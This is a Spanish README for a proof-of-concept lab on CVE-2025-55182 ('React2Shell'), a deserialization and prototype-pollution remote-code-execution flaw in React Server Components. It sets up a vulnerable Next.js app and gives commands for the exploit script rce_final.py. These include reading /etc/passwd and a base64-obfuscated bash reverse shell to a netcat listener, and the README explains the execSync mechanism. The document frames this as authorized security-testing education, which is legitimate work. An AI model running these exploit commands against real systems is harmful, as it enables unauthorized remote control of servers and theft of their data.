
Laboratorio de PoC de React2Shell CVE-2025-55182
Un laboratorio completo para demostrar y probar la vulnerabilidad crítica CVE-2025-55182 en React Server Components.
Este repositorio está diseñado para:
No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. El acceso no autorizado es ilegal.
✅ Ejecutar comandos arbitrarios sin autenticación
✅ Leer archivos del sistema
✅ Crear y modificar archivos
✅ Establecer conexiones de shell inversa (reverse shell)
✅ Obtener control total del servidor
npm install --legacy-peer-deps
npm run dev
El servidor se iniciará en http://localhost:3000
bash check-cve.sh
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"
# Terminal 1 - Listener
nc -lvnp 4444
# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"
├── app/ # Vulnerable Next.js application
├── exploit/ # Working PoC exploit
│ └── rce_final.py # Main exploit script
├── check-cve.sh # Automated vulnerability checker
├── package.json # Vulnerable dependencies
└── README.md
La vulnerabilidad existe en la lógica de deserialización de los payloads de React Server Components. El exploit aprovecha la contaminación de prototipos (prototype pollution) para ejecutar código arbitrario mediante process.mainModule.require('child_process').execSync().
Este código se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de asegurarse de contar con la autorización adecuada antes de probar cualquier sistema. El acceso no autorizado a sistemas informáticos es ilegal según leyes como la Computer Fraud and Abuse Act (CFAA) y legislación similar en otras jurisdicciones.
El autor no asume ninguna responsabilidad por el mal uso de esta información.
Después de completar este laboratorio, comprenderás: